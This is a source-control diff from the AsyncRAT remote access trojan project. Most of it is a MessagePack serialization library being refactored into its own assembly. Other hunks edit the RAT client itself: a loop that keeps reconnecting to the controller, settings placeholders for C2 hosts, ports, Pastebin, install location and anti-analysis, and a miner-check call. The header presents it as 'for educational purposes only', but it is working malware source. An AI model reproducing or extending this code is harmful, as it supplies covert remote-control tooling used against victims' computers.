obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
fs.Dispose();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
fs.Dispose();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToUInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return Zip.Compress(r);
}
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

View File

@ -1,24 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Client.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

View File

@ -9,7 +9,7 @@ using Client.Helper;
Name : AsyncRAT Simple RAT
Contact Me : https:github.com/NYAN-x-CAT
This program Is distributed for educational purposes only.
This program is distributed for educational purposes only.
*/
namespace Client
@ -22,6 +22,7 @@ namespace Client
{
Thread.Sleep(1000);
}
if (!Settings.InitializeSettings()) Environment.Exit(0);
try
@ -40,18 +41,21 @@ namespace Client
Methods.PreventSleep(); //prevent pc to idle\sleep
new CheckMiner().GetProcess(); //check miner status
}
catch { }
while (true) // ~ loop to check socket status
{
if (!ClientSocket.IsConnected)
try
{
ClientSocket.Reconnect();
ClientSocket.InitializeClient();
if (!ClientSocket.IsConnected)
{
ClientSocket.Reconnect();
ClientSocket.InitializeClient();
}
}
Thread.Sleep(new Random().Next(1000, 5000));
catch { }
Thread.Sleep(5000);
}
}
}

View File

@ -20,7 +20,6 @@ using System.Runtime.InteropServices;
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
//[assembly: Guid("c3c49f45-2589-4e04-9c50-71b6035c14ae")]
// Version information for an assembly consists of the following four values:
//

View File

@ -13,7 +13,7 @@ namespace Client
#if DEBUG
public static string Ports = "6606";
public static string Hosts = "127.0.0.1";
public static string Version = "0.5.6A";
public static string Version = "0.5.7B";
public static string Install = "false";
public static string InstallFolder = "AppData";
public static string InstallFile = "Test.exe";
@ -28,6 +28,7 @@ namespace Client
public static string BDOS = "false";
public static string Hwid = HwidGen.HWID();
public static string Delay = "0";
public static string Group = "Debug";
#else
public static string Ports = "%Ports%";
@ -45,8 +46,9 @@ namespace Client
public static Aes256 aes256;
public static string Pastebin = "%Pastebin%";
public static string BDOS = "%BDOS%";
public static string Hwid = "";
public static string Hwid = null;
public static string Delay = "%Delay%";
public static string Group = "%Group%";
#endif
@ -67,6 +69,7 @@ namespace Client
Pastebin = aes256.Decrypt(Pastebin);
Anti = aes256.Decrypt(Anti);
BDOS = aes256.Decrypt(BDOS);
Group = aes256.Decrypt(Group);
Hwid = HwidGen.HWID();
Serversignature = aes256.Decrypt(Serversignature);
ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));

View File

@ -1,76 +1,28 @@
<?xml version="1.0" encoding="utf-8"?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<!-- UAC Manifest Options
If you want to change the Windows User Account Control level replace the
requestedExecutionLevel node with one of the following.
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
Specifying requestedExecutionLevel element will disable file and registry virtualization.
Remove this element if your application requires this virtualization for backwards
compatibility.
-->
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- A list of the Windows versions that this application has been tested on
and is designed to work with. Uncomment the appropriate elements
and Windows will automatically select the most compatible environment. -->
<!-- Windows Vista -->
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" />-->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 -->
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />-->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 -->
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />-->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- Windows 8.1 -->
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />-->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows 10 -->
<!--<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />-->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
<!-- Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher
DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need
to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should
also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. -->
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
</windowsSettings>
</application>
<!-- Enable themes for Windows common controls and dialogs (Windows XP and later) -->
<!--
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="*"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
-->
</assembly>
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>

View File

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="ILMerge" version="3.0.29" targetFramework="net40-client" />
<package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net40-client" />
</packages>

View File

@ -4,7 +4,7 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
namespace MessagePackLib.MessagePack
{
public class BytesTools
{

View File

@ -7,7 +7,7 @@ using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
namespace MessagePackLib.MessagePack
{
public class MsgPackEnum : IEnumerator
{

View File

@ -4,7 +4,7 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
namespace MessagePackLib.MessagePack
{
public enum MsgPackType
{

View File

@ -5,7 +5,7 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Client.MessagePack
namespace MessagePackLib.MessagePack
{
class ReadTools
{

View File

@ -1,7 +1,7 @@
using System;
using System.IO;
namespace Client.MessagePack
namespace MessagePackLib.MessagePack
{
class WriteTools
{

View File

@ -2,7 +2,7 @@
using System.IO;
using System.IO.Compression;
namespace Client.Algorithm
namespace MessagePackLib.MessagePack
{
public static class Zip
{

View File

@ -0,0 +1,52 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>MessagePackLib</RootNamespace>
<AssemblyName>MessagePackLib</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="MessagePack\Zip.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,35 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

View File

@ -1,5 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" />
